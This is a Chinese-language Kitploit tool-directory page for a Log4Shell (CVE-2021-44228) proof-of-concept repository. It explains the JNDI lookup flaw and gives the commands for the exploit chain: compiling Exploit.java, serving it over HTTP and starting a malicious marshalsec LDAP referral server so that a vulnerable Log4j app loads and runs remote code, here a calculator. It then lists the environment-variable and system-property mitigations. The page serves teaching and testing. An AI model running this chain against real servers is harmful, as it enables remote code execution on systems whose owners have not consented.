Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/sunnyvale-it/cve-2021-44228-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubsunnyvale-it/cve-2021-44228-poc

CVE-2021-44228-PoC

CVE-2021-44228(Log4Shell)概念验证

查看仓库
8544年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228 (Log4Shell) 概念验证

Apache Log4j2 版本 <=2.14.1 在配置、日志消息和参数中使用的 JNDI 功能未对攻击者控制的 LDAP 及其他 JNDI 相关端点进行保护。 当消息查找替换功能启用时,能够控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。

为了帮助客户理解此漏洞的工作原理,我们准备了此仓库,内含一个简单但有效的概念验证。

前提条件

本地已安装:

  • Git
  • JDK 11
  • Maven
  • Python

目前,该任意代码会在 macOS 或 Windows 上启动计算器应用程序,因此此 PoC 仅支持这两个操作系统。

免责声明

所有信息和代码仅供教育目的和/或测试您自身系统的此漏洞。

攻击技术

此 PoC 模仿下图所述内容(图片来源 GovCERT.ch),但为简洁起见,易受攻击的服务器仅为一个简单的 Java 类。必须理解,此漏洞有多种触发方式,以下描述的仅为其中一种。

如何运行 PoC

克隆此仓库

root@kitploit:~
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git

编译漏洞利用代码(使用 JDK 11)

root@kitploit:~
terminal1 $ javac Exploit.java

运行 HTTP 服务器以提供漏洞利用代码

root@kitploit:~
terminal1 $ python -m SimpleHTTPServer 8888 --directory .

启动恶意的 LDAPRefServer(感谢 https://github.com/mbechler/marshalsec)

root@kitploit:~
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

启动存在缺陷的应用程序(包含 log4j 2.14.1)

root@kitploit:~
terminal3 $ mvn package && mvn exec:exec

如果一切顺利,计算器应用程序(任意代码执行)应该会弹出

快速缓解措施(适用于 Log4J 2.10.0 至 2.14.1 版本)

将环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true

root@kitploit:~
terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true 
root@kitploit:~
terminal3 $ mvn package && mvn exec:exec

在这种情况下,计算器应该不会再弹出

以 log4j2.formatMsgNoLookups 系统属性设置为 true 的方式运行应用程序

root@kitploit:~
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true

在这种情况下,计算器应该不会再弹出

下载工具